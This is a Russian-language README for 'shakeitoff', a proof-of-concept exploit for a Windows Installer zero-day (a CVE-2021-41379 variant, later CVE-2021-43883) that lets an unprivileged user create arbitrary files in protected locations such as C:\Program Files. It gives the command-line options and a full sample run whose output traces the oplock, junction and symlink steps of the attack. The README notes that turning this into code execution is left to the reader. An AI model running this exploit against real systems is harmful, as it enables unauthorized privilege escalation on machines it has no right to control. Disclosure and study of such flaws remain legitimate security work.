shakeitoff

Уменьшенная, минималистичная и более чистая версия InstallerFileTakeOver, она же zero-day эксплойт, являющийся «вариацией» CVE-2021-41379 (позднее получивший CVE-2021-43883). Эта версия не открывает оболочку, как InstallerFileTakeOver. Смысл этого кода — создать более простую proof-of-concept, которая более надёжно демонстрирует атаку с созданием файла. Этот proof-of-concept создаёт произвольный файл, запрошенный пользователем (и копирует себя в него, чтобы доказать возможность записи). Демонстрация выполнения кода — тривиальное упражнение, оставленное читателю.

Чтобы понять, как работает атака, см. статью на AttackerKB.

Использование

Инструмент требует три параметра:

C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
  -h, --help              produce help message
  -m, --msi_path arg      The path to the MSI to install
  -i, --install_path arg  The path to install to
  -p, --target_path arg   The file to create

-m — MSI для установки (требуется полный путь). Один из них предоставлен в этом репозитории (и вам следует использовать его, поскольку пути к файлам действительно важны).
-i — путь установки (требуется полный путь). Сюда устанавливается MSI / происходит эксплойт. Пользователь должен указать его заранее, и это должна быть пустая директория. Инструмент не очищает её, потому что это упрощает понимание ошибки. Также должен быть завершающий , потому что я монстр.
-p — файл для перезаписи/создания. Требуется полный путь.

PoC просто скопирует себя в целевой файл.

Пример использования

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

File Not Found

C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

12/02/2021  02:01 PM           368,640 lol
               1 File(s)        368,640 bytes
               0 Dir(s)  86,015,610,880 bytes free

Благодарности

Этот код основан на оригинальном эксплойте, опубликованном Abdelhamid Naceri (также первооткрывателем уязвимости!).
Код FileOpLock — это (слегка изменённая) версия, извлечённая из angrypolarbearbug2
Taylor Swift

shakeitoff

Популярное

shakeitoff

Использование

Пример использования

Благодарности